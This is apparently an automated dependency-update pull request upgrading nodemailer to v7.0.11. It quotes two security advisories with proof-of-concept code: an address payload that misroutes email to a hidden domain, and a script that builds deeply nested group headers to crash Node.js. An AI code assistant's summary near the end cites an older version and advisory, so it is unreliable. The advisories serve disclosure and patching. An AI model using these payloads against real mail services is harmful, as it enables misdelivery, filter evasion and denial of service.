fix(deps): update dependency nodemailer to v7 [security]
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| nodemailer (source) | ^6.0.0 -> ^7.0.11 |
GitHub Vulnerability Alerts
CVE-2025-13033
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "[email protected] x"@​internal.domain
Using the following code to send mail
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});
let mailOptions = {
from: '"Test Sender" <[email protected]>',
to: "\"[email protected] x\"@​internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);
});
(async () => {
const parser = await import("@​sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}
console.log("Parsed email:", {
address: `${parsed.localPart}@​${parsed.domain}`,
local: parsed.localPart,
domain: parsed.domain,
});
})();
Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
address: '"[email protected] x"@​internal.domain',
local: '"[email protected] x"',
domain: 'internal.domain'
}
But the email is sent to [email protected]
Impact:
-
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
-
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
-
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
-
Domain based access control bypass in downstream applications using your library to send mails
Recommendations
-
Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
-
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
GHSA-rcmh-qjqh-p98v
Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.
Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:
g0: g1: g2: g3: ... gN: [email protected];
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows:
if (isGroup) {
...
if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
parsedGroup.forEach(member => {
if (member.group) {
groupMembers = groupMembers.concat(member.group);
} else {
groupMembers.push(member);
}
});
}
}
data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
PoC
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' [email protected];';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: '[email protected]',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
Impact
The attacker can achieve the following:
- Force an immediate crash of any server/service that uses Nodemailer
- Kill the backend process with a single web request
- In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
Release Notes
nodemailer/nodemailer (nodemailer)
v7.0.11
Bug Fixes
- prevent stack overflow DoS in addressparser with deeply nested groups (b61b9c0)
v7.0.10
Bug Fixes
- Increase data URI size limit from 100KB to 50MB and preserve content type (28dbf3f)
v7.0.9
Bug Fixes
- release: Trying to fix release proecess by upgrading Node version in runner (579fce4)
v7.0.7
Bug Fixes
- addressparser: Fixed addressparser handling of quoted nested email addresses (1150d99)
- dns: add memory leak prevention for DNS cache (0240d67)
- linter: Updated eslint and created prettier formatting task (df13b74)
- refresh expired DNS cache on error (#1759) (ea0fc5a)
- resolve linter errors in DNS cache tests (3b8982c)
v7.0.6
Bug Fixes
- encoder: avoid silent data loss by properly flushing trailing base64 (#1747) (01ae76f)
- handle multiple XOAUTH2 token requests correctly (#1754) (dbe0028)
- ReDoS vulnerability in parseDataURI and _processDataUrl (#1755) (90b3e24)
v7.0.5
Bug Fixes
- updated well known delivery service list (fa2724b)
v7.0.4
Bug Fixes
- pools: Emit 'clear' once transporter is idle and all connections are closed (839e286)
- smtp-connection: jsdoc public annotation for socket (#1741) (c45c84f)
- well-known-services: Added AliyunQiye (bb9e6da)
v7.0.3
Bug Fixes
- attachments: Set the default transfer encoding for message/rfc822 attachments as '7bit' (007d5f3)
v7.0.2
Bug Fixes
- ses: Fixed structured from header (faa9a5e)
v7.0.1
Bug Fixes
- ses: Use formatted FromEmailAddress for SES emails (821cd09)
v7.0.0
⚠ BREAKING CHANGES
- SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features
Features
- SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features (15db667)
v6.10.1
Bug Fixes
- close correct socket (a18062c)
v6.10.0
Features
Bug Fixes
- proxy: Set error and timeout errors for proxied sockets (aa0c99c)
v6.9.16
Bug Fixes
- addressparser: Correctly detect if user local part is attached to domain part (f2096c5)
v6.9.15
Bug Fixes
v6.9.14
Bug Fixes
- api: Added support for Ethereal authentication (56b2205)
- services.json: Add Email Services Provider Feishu Mail (CN) (#1648) (e9e9ecc)
- services.json: update Mailtrap host and port in well known (#1652) (fc2c9ea)
- well-known-services: Add Loopia in well known services (#1655) (21a28a1)
v6.9.13
Bug Fixes
- tls: Ensure servername for SMTP (d66fdd3)
v6.9.12
Bug Fixes
- message-generation: Escape single quote in address names (4ae5fad)
v6.9.11
Bug Fixes
- headers: Ensure that Content-type is the bottom header (c7cf97e)
v6.9.10
Bug Fixes
- data-uri: Do not use regular expressions for parsing data URI schemes (12e65e9)
- data-uri: Moved all data-uri regexes to use the non-regex parseDataUri method (edd5dfe)
v6.9.9
Bug Fixes
- security: Fix issues described in GHSA-9h6g-pr28-7cqp. Do not use eternal matching pattern if only a few occurences are expected (dd8f5e8)
- tests: Use native node test runner, added code coverage support, removed grunt (#1604) (be45c1b)
v6.9.8
Bug Fixes
- punycode: do not use native punycode module (b4d0e0c)
v6.9.7
Bug Fixes
- customAuth: Do not require user and pass to be set for custom authentication schemes (fixes #1584) (41d482c)
v6.9.6
Bug Fixes
- inline: Use 'inline' as the default Content Dispostion value for embedded images (db32c93)
- tests: Removed Node v12 from test matrix as it is not compatible with the test framework anymore (7fe0a60)
v6.9.5
Bug Fixes
- license: Updated license year (da4744e)
v6.9.4
- Renamed SendinBlue to Brevo
v6.9.3
- Specified license identifier (was defined as MIT, actual value MIT-0)
- If SMTP server disconnects with a message, process it and include as part of the response error
v6.9.2
- Fix uncaught exception on invalid attachment content payload
v6.9.1
Bug Fixes
- addressparser: Correctly detect if user local part is attached to domain part (f2096c5)
v6.9.0
- Do not throw if failed to resolve IPv4 addresses
- Include EHLO extensions in the send response
- fix sendMail function: callback should be optional
v6.8.0
- Add DNS timeout (huksley)
- add dns.REFUSED (lucagianfelici)
v6.7.8
- Allow to use multiple Reply-To addresses
v6.7.7
- Resolver fixes
v6.7.6
v6.7.5
- No changes, pushing a new README to npmjs.org
v6.7.4
- Ensure compatibility with Node 18
- Replaced Travis with Github Actions
v6.7.3
- Typo fixes
- Added stale issue automation fir Github
- Add Infomaniak config to well known service (popod)
- Update Outlook/Hotmail host in well known services (popod)
- fix: DSN recipient gets ignored (KornKalle)
v6.7.2
- Fix proxies for account verification
v6.7.1
- fix verify on ses-transport (stanofsky)
v6.7.0
- Updated DNS resolving logic. If there are multiple responses for a A/AAAA record, then loop these randomly instead of only caching the first one
v6.6.5
- Replaced Object.values() and Array.flat() with polyfills to allow using Nodemailer in Node v6+
v6.6.4
- Better compatibility with IPv6-only SMTP hosts (oxzi)
- Fix ses verify for sdk v3 (hannesvdvreken)
- Added SECURITY.txt for contact info
v6.6.3
- Do not show passwords in SMTP transaction logs. All passwords used in logging are replaced by
"/* secret */"
v6.6.2
v6.6.1
- Fixed address formatting issue where newlines in an email address, if provided via address object, were not properly removed. Reported by tmazeika (#1289)
v6.6.0
- Added new option
newlinefor MailComposer - aws ses connection verification (Ognjen Jevremovic)
v6.5.0
- Pass through textEncoding to subnodes
- Added support for AWS SES v3 SDK
- Fixed tests
v6.4.18
- Updated README
v6.4.17
- Allow mixing attachments with caendar alternatives
v6.4.16
- Applied updated prettier formating rules
v6.4.15
- Minor changes in header key casing
v6.4.14
- Disabled postinstall script
v6.4.13
- Fix normalizeHeaderKey method for single node messages
v6.4.12
- Better handling of attachment filenames that include quote symbols
- Includes all information from the oath2 error response in the error message (Normal Gaussian) [
1787f22]
v6.4.11
- Fixed escape sequence handling in address parsing
v6.4.10
- Fixed RFC822 output for MailComposer when using invalid content-type value. Mostly relevant if message attachments have stragne content-type values set.
v6.4.8
v6.4.7
- Always set charset=utf-8 for Content-Type headers
- Catch error when using invalid crypto.sign input
v6.4.6
- fix:
requeueAttempts=nshould requeuentimes (Patrick Malouin) [a27ed2f]
v6.4.5
v6.4.4
- Add
options.forceAuthfor SMTP (Patrick Malouin) [a27ed2f]
v6.4.3
- Added an option to specify max number of requeues when connection closes unexpectedly (Igor Sechyn) [
8a927f5]
v6.4.2
- Fixed bug where array item was used with a potentially empty array
v6.4.1
- Updated README
v6.4.0
- Do not use auth if server does not advertise AUTH support [
f419b09] - add dns.CONNREFUSED (Hiroyuki Okada) [
5c4c8ca]
v6.3.1
- Ignore "end" events because it might be "error" after it (dex4er) [
72bade9] - Set username and password on the connection proxy object correctly (UsamaAshraf) [
250b1a8] - Support more DNS errors (madarche) [
2391aa4]
v6.3.0
- Added new option to pass a set of httpHeaders to be sent when fetching attachments. See PR #1034
v6.2.1
- No changes. It is the same as 6.2.0 that was accidentally published as 6.2.1 to npm
v6.1.1
- Fixed regression bug with missing smtp
authMethodproperty
v6.1.0
- Added new message property
ampfor providing AMP4EMAIL content
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
/gcbrun
Summary of Changes
Hello @renovate-bot, I'm Gemini Code Assist[^1]! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!
This pull request upgrades the nodemailer dependency to its latest major version, v7.0.7, primarily to mitigate a significant security vulnerability. The vulnerability involved improper parsing of email addresses, potentially causing emails to be misdirected. This update ensures more robust and secure email handling, while also incorporating other bug fixes and a breaking change related to AWS SES SDK support.
Highlights
- Dependency Update: The
nodemailerpackage has been updated from^6.0.0to^7.0.7. - Security Fix: This update addresses a critical security vulnerability (GHSA-mm7p-fcc7-pg87) in
nodemailerrelated to incorrect handling of quoted local-parts in email addresses, which could lead to email misrouting and data leakage. - Major Version Upgrade: The update includes a major version bump to
v7.0.0, which introduces breaking changes primarily around SESv2 SDK support, removing older SES SDK versions and related features.
Using Gemini Code Assist
The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.
Invoking Gemini
You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.
| Feature | Command | Description |
|---|---|---|
| Code Review | /gemini review |
Performs a code review for the current pull request in its current state. |
| Pull Request Summary | /gemini summary |
Provides a summary of the current pull request in its current state. |
| Comment | @gemini-code-assist | Responds in comments when explicitly tagged, both in pull request comments and review comments. |
| Help | /gemini help |
Displays a list of available commands. |
Customization
To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.
Limitations & Feedback
Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with :thumbsup: and :thumbsdown: on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.
You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.
[^1]: Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun
/gcbrun